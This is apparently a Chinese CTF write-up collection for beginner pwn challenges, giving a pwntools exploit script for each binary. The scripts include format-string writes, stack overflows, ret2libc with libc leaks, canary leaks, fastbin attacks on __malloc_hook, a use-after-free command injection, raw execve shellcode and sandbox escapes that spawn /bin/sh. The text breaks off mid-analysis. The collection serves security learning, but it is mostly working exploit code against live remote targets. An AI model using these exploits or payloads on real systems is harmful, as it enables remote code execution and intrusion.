新手练习
CGfsb
简单的格式化字符串
from pwn import *
p = process("cgfsb")
p = remote("111.198.29.45",32128)
p.sendline("123")
p.sendline(p32(0x0804A068)+"%4c%10$n")
p.interactive()
get_shell
nc 上去直接 cat flag
hello_pwn
溢出即可
from pwn import *
# p = process("./hello_pwn")
p = remote("111.198.29.45",32145)
p.sendline('a'*4+p64(0x6E756161))
p.interactive()
when_did_you_born
from pwn import *
# context.log_level="debug"
# p = process('./when_did_you_born')
p = remote("111.198.29.45",30140)
payload = "a"*8+p32(1926)
p.recv()
p.sendline("1111")
p.recv()
p.sendline(payload)
p.interactive()
level0
from pwn import *
# context.log_level="debug"
# p = process('./level0')
p = remote("111.198.29.45", 30142)
payload = "a"*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()
level2
from pwn import *
# context.log_level="debug"
# p = process('./level2')
elf = ELF('./level2')
p = remote("111.198.29.45", 30143)
binbash = 0x804A024
payload = "a"*(0x88+4)+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(binbash)
p.recv()
p.sendline(payload)
p.interactive()
string
这道题目话太多了:(,实际上就是一个格式化字符串漏洞的利用,修改v3处的值为85即可。
from pwn import *
# context.log_level="debug"
# a = process('./string')
a = remote("111.198.29.45",30155)
a.recvuntil("secret[0] is ")
v3_addr=a.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address=eval(v3_addr)
a.recvuntil("What should your character's name be:\n")
a.sendline("a")
a.recvuntil("So, where you will go?east or up?:\n")
a.send("east\n")
a.recvuntil("go into there(1), or leave(0)?:\n")
a.send("1\n")
a.recvuntil("'Give me an address'\n")
a.send(str(v3_address)+"\n")
a.recvuntil("you wish is:\n")
payload="%085d%7$n"
a.sendline(payload)
a.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
a.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
a.interactive()
guess_num
先看下程序逻辑,漏洞点在于输入name的时候存在溢出,能够将栈中的随机数种子覆盖掉,然后就能够猜出数字了。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}
这道题和后面萌新入坑一道题非常像,就是溢出覆盖随机数种子为0,然后本地根据0生成随机数种子即可。
- 生成随机数的c程序:
#include<stdlib.h>
#include<time.h>
int main(){
int seed[2];
* seed = time(0);
srand(0);
//srand(time(0));
int i = 0;
for(i=0;i<50;i++){
printf("%d\n",rand()%6+1);
}
return 0;
}
- exp脚本
from pwn import *
context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')
# p = process("./guess_num.dms")
p = remote("111.198.29.45",31403)
p.recvuntil("Your name:")
p.sendline("a"*0x20+p64(0))
# p.sendline("aaa")
# gdb.attach(p)
for i in range(10):
p.recvuntil('guess number:')
p.sendline(str(a[i]))
p.interactive()
int_overflow
这道题目主要利用的是整数溢出:
char *__cdecl check_passwd(char *password)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(password); // 这里返回值是使用al寄存器存储的,在大于255的时候会发生溢出,变成一个很小的数
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, password);
}
return result;
}
简单普及下整数溢出的知识,这道题目就是利用上溢的知识绕过长度的检查,造成溢出:
- 上溢 运算后超过所能表示的上限,变成了一个很小的数
- 下溢 运算后超过所能表示的下限,变成了一个很大的数
from pwn import *
# context.log_level="debug"
# p = process("./int_overflow.dms")
flag = 0x804868B
p = remote("111.198.29.45",31431)
p.sendline("1")
p.recvuntil("username:")
p.sendline("aaaa")
p.recvuntil("passwd:")
payload = "a"*0x18 + p32(flag)
p.sendline(payload.ljust(260,"a"))
p.interactive()
这里需要注意的是要控制溢出之后的长度在3和8之间。
cgpwn2
把 /bin/sh 字符串写到 bss 段,使用溢出调用system函数的时候将 bss 段 name 的地址当作参数传入即可。
from pwn import *
# context.log_level="debug"
# p = process("./cgpwn2.dms")
elf = ELF("./cgpwn2.dms")
p = remote("111.198.29.45",31484)
p.recvuntil("please tell me your name")
p.sendline("/bin/sh")
p.recvuntil("hello,you can leave some message here:")
p.sendline("a"*0x2a + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x804A080))
p.interactive()
level3
溢出但是没有给出libc,可以先利用write函数泄漏其在内存中的地址,根据偏移推算出libc在内存中的基地址(查询网站 https://libc.blukat.me),然后就能得到system函数和bin_sh字符串在内存中的实际地址,再次溢出即可getshell
from pwn import *
context.log_level="debug"
# p = process("./level3.dms")
elf = ELF("./level3.dms")
p = remote("111.198.29.45",31489)
p.recvuntil("Input:")
p.sendline("a"*(0x88+4) + p32(elf.plt['write']) + p32(0x8048484) + p32(1) + p32(elf.got['write']) + p32(4))
print "---------------"
p.recv()
write_addr = u32(p.recvuntil('Input:\n',drop=True))
print "write_addr:",hex(write_addr)
libc_addr = write_addr - 0x0d43c0
print "libc_addr:",hex(libc_addr)
sys_addr = libc_addr + 0x03a940
binsh_addr = libc_addr + 0x15902b
p.sendline("a"*(0x88+4) + p32(sys_addr) + p32(0x8048484) + p32(binsh_addr))
# gdb.attach(p)
p.interactive()
萌新入坑
pwn2
主要分两步
- getlibc
- getshell
基础功能:
简单来说就是可以进行增删改查,存在漏洞的地方是改的时候能够导致堆溢出,通过溢出修改 pre_size 和 pre_inuse 可以造成 overlapping。程序开启了 pie,没办法获取进程在内存中的基地址,但是我们可以通过溢出控制 fd,使用 fastbin attack,将 malloc_hook 处改写为 one_gadget 来 getshell.
from pwn import *
context.log_level = "debug"
# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")
def new(size,content):
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(size))
p.sendline(content)
def edit(index,size,content):
p.recvuntil(">> ")
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.sendline(content)
def printt(index):
p.recvuntil(">> ")
p.sendline("3")
p.sendline(str(index))
def delete(index):
p.recvuntil(">> ")
p.sendline("4")
p.sendline(str(index))
使用后向合并获取libc基地址:
new(0x100,"0"*0xff) # 0
new(0x100,"1"*0xff) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
edit(0,0x111,'0'*0x100 + p64(0x110) + p64(0x221))
delete(1)
new(0x100,"4"*0xff) # 4
printt(2)
libc_base = hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()
使用前向合并获取libc基地址:
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 5
printt(1)
print hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()
这里是构造类似如下chunk结构:
由于free B的时候,根据修改的pre_size会向前去找x的前后chunk能否合并,并且查看A是否处于空闲状态是根据B堆块的pre_inuse位判断的,所以要在x和A之间加一个fastbin使其safe unlink,或者在修改b的pre_inuse之前就free x
最后free b触发向前合并之前,先free掉x,通过safe unlink操作把堆块x从freelist中卸下。为了safe unlink不会出错,比较方便的方法是让x处于空闲状态。故我们应该在释放堆块B之前释放x,这样堆块x到堆块B的整个空间就都被释放掉了。不然的 unlink x的时候其fd和bk不能通过安全检查。
最开始想用 fastbin
的 double free
的,写到最后突然想到不能控制 __free_hook
附近的 size
值,malloc
的时候会抛出异常,囧。。程序开启了pie,指向堆块的指针都在程序的bss段, unlink也不行:
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)
new(0x10,"6"*0xf) # 3
new(0x10,"7"*0xf) # 5
delete(1)
delete(5)
delete(3)
new(0x10,p64(libc_base+libc.symbols["__free_hook"]-0x10)+"6"*0x7) # 3
new(0x10,"8"*0xf) # 3
new(0x10,"9"*0xf) # 3
new(0x10,p64(0x45216)+"a"*0x7) # 3
delete(0)
gdb.attach(p)
p.interactive()
后来调试发现可以利用__malloc_hook
之前 -0x23的位置刚好全为0,且后边有 0x7f
可以组合作为size字段(fastbin attack
只检查 size 字段较高2字节所以低2字节的f没有影响),因此构造大小为60的 fastbin chunk
pwndbg> x /10gx 0x7f8dcf9b7ae0
0x7f8dcf9b7ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7af0 <_IO_wide_data_0+304>: 0x00007f8dcf9b6260 0x0000000000000000
0x7f8dcf9b7b00 <__memalign_hook>: 0x00007f8dcf678e20 0x00007f8dcf678a00
0x7f8dcf9b7b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7b20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x /10gx 0x7f8dcf9b7aed
0x7f8dcf9b7aed <_IO_wide_data_0+301>: 0x8dcf9b6260000000 0x000000000000007f
0x7f8dcf9b7afd: 0x8dcf678e20000000 0x8dcf678a0000007f
0x7f8dcf9b7b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f8dcf9b7b1d: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
exp:
from pwn import *
context.log_level = "debug"
# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")
def new(size,content):
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(size))
p.sendline(content)
def edit(index,size,content):
p.recvuntil(">> ")
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.sendline(content)
def printt(index):
p.recvuntil(">> ")
p.sendline("3")
p.sendline(str(index))
def delete(index):
p.recvuntil(">> ")
p.sendline("4")
p.sendline(str(index))
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)
new(0x200,"5"*0x1ff) # 0
new(0x60,"5"*0x5f) # 0
new(0x60,"5"*0x5f) # 0
delete(6)
edit(5,0x79,0x60*'a' + p64(0x60) + p64(0x71) + p64(libc_base+libc.symbols["__malloc_hook"] - 0x23))
new(0x60,'b'*0x5f)
payload = "\x00" *0x13 + p64(libc_base + 0x4526a)
payload = payload.ljust(0x5f,"\x00")
print hex(libc.symbols["__malloc_hook"]+libc_base)
new(0x60,payload)
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(0x66))
# gdb.attach(p)
p.interactive()
dice_game
主函数逻辑都在main函数中,在输入name的时候存在栈溢出,输入name后,会进入执行游戏的函数,大体猜数字,根据输入的数字和随机数生成的数字比较,猜对50次就给出flag:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 ) // 名字小于49 最后追加终止符,存在栈溢出
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = play_game();
fflush(stdout);
if ( v5 != 1 ) // 赢得50次游戏 打印出flag
break;
if ( v8 == 50 )
{
get_flag((__int64)buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}
考虑利用的方式,因为time(0)是能预测的,所以写个简单程序把随机数预测出来就行,最开始因为程序里 srand 初始化使用的是 time(0),想着不用溢出也行。后来试了下本地可以,远程不行,可能是服务器和本地 time(0) 的返回值不同,还是老老实实溢出修改初始化随机数种子把。
#include<stdlib.h>
#include<time.h>
int main(){
int seed[2];
* seed = time(0);
srand(0);
//srand(time(0));
int i = 0;
for(i=0;i<50;i++){
printf("%d\n",rand()%6+1);
}
return 0;
}
exp:
from pwn import *
context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')
# p = process("./dice_game")
p = remote("111.198.29.45",32149)
p.recv()
p.sendline("a"*0x40+p64(0))
# p.sendline("aaa")
for i in range(50):
p.recvuntil('Give me the point(1~6): ')
p.sendline(str(a[i]))
p.interactive()
pwn-100
ida打开,程序就是一个栈溢出,首先检查下防护,没有 canary 和 pie,可以用rop,64位程序找下传参的gadget。
nevv@nevv:~/Desktop$ checksec pwn100
[*] '/home/nevv/Desktop/pwn100'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
nevv@nevv:~/Desktop$ ROPgadget --binary pwn100 | grep "pop rdi"
0x0000000000400763 : pop rdi ; ret
发现有 pop rdi,那么可以通过puts函数打印出某个函数的got表地址处的值,然后就可以根据偏移得到 libc 的基地址。
exp:
from pwn import *
# context.log_level="debug"
# p = process('./pwn100')
elf = ELF("./pwn100")
p = remote("111.198.29.45", 30042)
payload = ("1"*0x48 + p64(0x400763) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400550)).ljust(200)
p.sendline(payload)
p.recvuntil('~\n')
puts_addr = u64(p.recv()[-7:-1].ljust(8,"\x00"))
libc_base = puts_addr - 0x06f690
print "libc_base", hex(libc_base)
system = libc_base + 0x045390
print "system", hex(system)
bin_sh = libc_base + 0x18cd57
print "bin_sh", hex(bin_sh)
payload = ("2"*0x47 + p64(0x400763) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)).ljust(200)
p.sendline(payload)
p.interactive()
这里最开始 get shell 一直失败,后来调试过程中发现第二次输入的时候 buf 最低为有一个 0x0a 回车符,所以前边得填充 0x47 个字符。
# 用下边第二段payload进行调试
payload = '2'*8
p.sendline(payload)
gdb.attach(p)
p.interactive()
调试中间信息:可以看到第二次输入的起始位置有一个回车符 :(
05:0028│ rbp 0x7ffd08abad10 —▸ 0x7ffd08abad60 —▸ 0x7ffd08abad80 —▸ 0x400700 ◂— push r15
06:0030│ 0x7ffd08abad18 —▸ 0x4006ac ◂— mov edi, 0x400784
07:0038│ 0x7ffd08abad20 ◂— '\n22222222\n'
08:0040│ rsi-2 0x7ffd08abad28 ◂— 0xa32 /* '2\n' */
09:0048│ 0x7ffd08abad30 ◂— 0x0
Mary_Morton
根据 ida 反汇编结果来看,主要想让你做的就是利用一个格式化字符串漏洞和栈溢出漏洞来执行到目标函数,程序没有开启pie,开启了canary。不过我们可以根据格式化字符串漏洞将cannary的值打印出来,溢出的时候再写回去即可。
from pwn import *
context.log_level="debug"
# p = process("./mary_morton")
elf = ELF("./mary_morton")
p = remote("111.198.29.45",31556)
p.recv()
p.sendline("2")
p.sendline("%23$p")
p.recvuntil("0x")
cannary = p.recv(16)
cannary = p64(int("0x"+cannary,16))
# gdb.attach(p)
p.sendline("1")
payload = "a"*0x88 + cannary + p64(0xdeadbeef) + p64(0x4008de)
p.sendline(payload)
p.interactive()
stack2
打开题目,功能是输入一些数,用一个栈上的数组存储,然后计算平均数,你可以修改输入的数,在修改的地方存在越界写,ida下反汇编文件可以看到:
int hackhere()
{
return system("/bin/bash");
}
因此我们只需要将函数的返回地址覆盖写为system函数的地址即可,exp如下:
from pwn import *
context.log_level = "debug"
system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
p.sendline("3")
p.recvuntil("to change:")
p.sendline(str(idx))
p.recvuntil("new number:")
p.sendline(str(value))
p.recvuntil("5. exit")
p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))
change(0x84,0x9b)
change(0x84+1,0x85)
change(0x84+2,0x04)
change(0x84+3,0x08)
# gdb.attach(p)
p.sendline("5")
p.interactive()
这里我本地可以getshell,但是远程连接服务器的时候会报错 ,找不到/bin/sh文件,应该是本地和远程的环境不一样:
[DEBUG] Received 0x1c bytes:
'sh: 1: /bin/bash: not found\n'
所以只能调用system函数,然后重新给它传sh作为参数了:
from pwn import *
context.log_level = "debug"
system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
p.sendline("3")
p.recvuntil("to change:")
p.sendline(str(idx))
p.recvuntil("new number:")
p.sendline(str(value))
p.recvuntil("5. exit")
p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))
# system_addr
change(0x84,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
# sh_addr
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)
# gdb.attach(p)
p.sendline("5")
p.interactive()
warmup
简单的溢出控制返回地址为 0x40060d 处的 get flag 函数即可。
from pwn import *
context.log_level = "debug"
p= remote("111.198.29.45", 32656)
# p = process("warmup.dms")
p.recv()
p.sendline("q"*0x48+p64(0x40060d))
p.interactive()
forgot
先checksec一下,没开pie和canary,基本上可以确定是栈溢出。
from pwn import *
context.log_level = "debug"
p= remote("111.198.29.45", 30003)
# p = process("forgot.dms")
p.recv()
p.sendline("a"*67+p32(0x80486CC))
print p.recv()
# gdb.attach(p)
p.interactive()
echo
本地可以,远程不行,一脸懵逼。
from pwn import *
context.log_level = "debug"
# p= remote("111.198.29.45", 30050)
p = process("echo.dms")
p.sendline("a"*(0x3a+4)+p32(0x804854D))
# gdb.attach(p)
print p.recv()
# p.interactive()
Escape_From_Jail-50
考察python语言 getattr 函数获取类的成员属性值
getattr(os,"system")("/bin/sh")
babyfengshui
简单分析程序,发现使用的是如下结构体:
struct user{
char *descript;
char name[0x7c];
}
问题出在修改结构体的地方:
unsigned int __cdecl update(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)user_num && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
sub_80486BB(*(char **)ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
上述对修改长度的安全假设是建立在 description 和 user 结构题在内存中是紧邻的情况,当分配再释放一些堆块后,两者之间可能存在别的堆块,这个时候就能够造成溢出,修改中间结构体的内容。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = process(['./babyfengshui.dms'])
elf = ELF('./babyfengshui.dms')
io = remote("111.198.29.45",30364)
def add_user(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'AAAA')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
def delete_user(idx):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(idx))
def display_user(idx):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(idx))
def update_desc(idx, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
if __name__ == "__main__":
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
delete_user(0)
add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0
# gdb.attach(io)
display_user(1)
io.recvuntil("description: ")
free_addr = u32(io.recvn(4))
print hex(free_addr)
system_addr = free_addr - (0x070750 - 0x03a940)
log.info("system address: 0x%x" % system_addr)
update_desc(1, 0x4, p32(system_addr))
delete_user(2)
io.interactive()
time_formatter
打印函数的功能是通过调用system函数实现的,其command参数是dword_602120和ptr,其中这两个参数是我们通过 set_time 函数和 time_format 函数控制的,其中 set_time 函数在输入之后是转换为了 int 类型存储的,ptr 虽然是以字符串类型存储的,但是在最开始的时候进行了输入的检查,不能输入非法字符。
__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h]
v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);
__printf_chk(1LL, "Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n", &command);
setenv("TZ", value, 1);
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}
在 exit 函数的位置我们能看到一个明显的漏洞,就是程序是先 free 掉内存,然后再询问你是不是要退出的,如果不退出,程序继续正常执行,存在 uaf 漏洞,我们就可以先 time_format,选择 exit,然后不退出再次选择 set_time_zone,此时申请的内存是之前 free 掉的 set_time 申请的内存,而这个函数没有检查输入合法性,因此可以 getshell。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
p = process('time_formatter.dms')
p = remote("111.198.29.45", 30543)
def time_format(s):
p.recv()
p.sendline("1")
p.recvuntil("Format:")
p.sendline(s)
def set_time_zone(s):
p.recv()
p.sendline("3")
p.recvuntil("zone:")
p.sendline(s)
def print_time():
p.recv()
p.sendline("4")
def exit():
p.recv()
p.sendline("5")
p.recv()
p.sendline("n")
time_format("%Y")
exit()
set_time_zone("' 123 || /bin/sh || \\")
print_time()
p.interactive()
在传递 /bin/sh 参数的时候注意下引号的闭合。
Pwn1 babystack
简单栈溢出,泄漏出canary后,leak 出 puts 函数的地址,然后计算出 libc 的基地址,使用 onegadget 即可。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
p = process('babystack')
e = ELF("babystack")
p = remote("111.198.29.45", 30105)
pop_rdi = 0x400a93
def pstore(s):
p.recv()
p.sendline("1")
p.sendline(s)
def printt():
p.sendline("2")
pstore("a"*0x88)
printt()
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n")
canary = u64(p.recv(7).rjust(8,"\x00"))
print "canary is: ", hex(canary)
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(pop_rdi) + p64(e.got["puts"]) + p64(e.plt['puts']) + p64(0x0400908))
p.recv()
p.sendline("3")
p.recvuntil(">> ")
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
print "puts is: ",hex(puts_addr)
print "libc is: ",hex(libc_addr)
one = libc_addr + 0x45216
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(one))
p.recv()
p.sendline("3")
# gdb.attach(p)
p.interactive()
AUL
应该是 lua 语言的程序,nc 连接上去直接:
os.execute("cat flag")
100levels
nevv@ubuntu:~/Desktop$ checksec 100levels
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/Desktop/100levels'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序在 question 的时候存在溢出,联系到之前程序的安全机制,应该是 bypass pie
_BOOL8 __fastcall question(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL);
v3 = strtol((const char *)&buf, 0LL, 10);
return v3 == v8;
}
根据bypass pie的思路,应该是泄漏出某个libc基址,既然是想leak出地址,看到hint函数中,会判断bss段某个变量是不是0,如果不是就打印system函数地址,但是由于没什么好的办法写bss段,继续仔细查看程序发现从 hint 函数再进入 go 函数的时候由于栈没有变化,也就是说 go 函数和 hint 函数两者的栈空间是一样的。go 函数的部分反汇编代码如下:
.text:0000000000000B94 ; __unwind {
.text:0000000000000B94 push rbp
.text:0000000000000B95 mov rbp, rsp
.text:0000000000000B98 sub rsp, 120h
.text:0000000000000B9F lea rdi, aHowManyLevels ; "How many levels?"
.text:0000000000000BA6 call _puts
.text:0000000000000BAB call get_input
.text:0000000000000BB0 mov [rbp+var_120], rax
.text:0000000000000BB7 mov rax, [rbp+var_120]
.text:0000000000000BBE test rax, rax
.text:0000000000000BC1 jg short loc_BD1
.text:0000000000000BC3 lea rdi, aCoward ; "Coward"
.text:0000000000000BCA call _puts
.text:0000000000000BCF jmp short loc_BDF
.text:0000000000000BD1 ; ---------------------------------------------------------------------------
.text:0000000000000BD1
.text:0000000000000BD1 loc_BD1: ; CODE XREF: go+2D↑j
.text:0000000000000BD1 mov rax, [rbp+var_120]
.text:0000000000000BD8 mov [rbp+var_110], rax
.text:0000000000000BDF
.text:0000000000000BDF loc_BDF: ; CODE XREF: go+3B↑j
.text:0000000000000BDF lea rdi, aAnyMore ; "Any more?"
.text:0000000000000BE6 call _puts
.text:0000000000000BEB call get_input
.text:0000000000000BF0 mov [rbp+var_120], rax
.text:0000000000000BF7 mov rdx, [rbp+var_110]
.text:0000000000000BFE mov rax, [rbp+var_120]
.text:0000000000000C05 add rax, rdx
.text:0000000000000C08 mov [rbp+var_110], rax
.text:0000000000000C0F mov rax, [rbp+var_110]
.text:0000000000000C16 test rax, rax
.text:0000000000000C19 jg short loc_C2C
.text:0000000000000C1B lea rdi, aCowardCowardCo ; "Coward Coward Coward Coward Coward"
.text:0000000000000C22 n call _puts
.text:0000000000000C27 jmp locret_D04
.text:0000000000000C2C ; ---------------------------------------------------------------------------
.text:0000000000000C2C
.text:0000000000000C2C loc_C2C: ; CODE XREF: go+85↑j
.text:0000000000000C2C mov rax, [rbp+var_110]
.text:0000000000000C33 cmp rax, 63h
.text:0000000000000C37 jle short loc_C52
.text:0000000000000C39 lea rdi, aYouAreBeingARe ; "You are being a real man."
.text:0000000000000C40 call _puts
.text:0000000000000C45 mov [rbp+var_108], 64h
.text:0000000000000C50 jmp short loc_C60
.text:0000000000000C52 ; ---------------------------------------------------------------------------
可以看到输入的 level 和 anymore 的值,相加后输入了[rbp+var_110]的位置,这个位置在hint函数中存储的是 system 函数的地址,而且根据程序逻辑:
int go()
{
int v1; // ST0C_4
__int64 v2; // [rsp+0h] [rbp-120h]
__int64 v3; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 v5; // [rsp+10h] [rbp-110h]
signed __int64 v6; // [rsp+10h] [rbp-110h]
signed __int64 v7; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]
puts("How many levels?");
v2 = get_input("How many levels?");
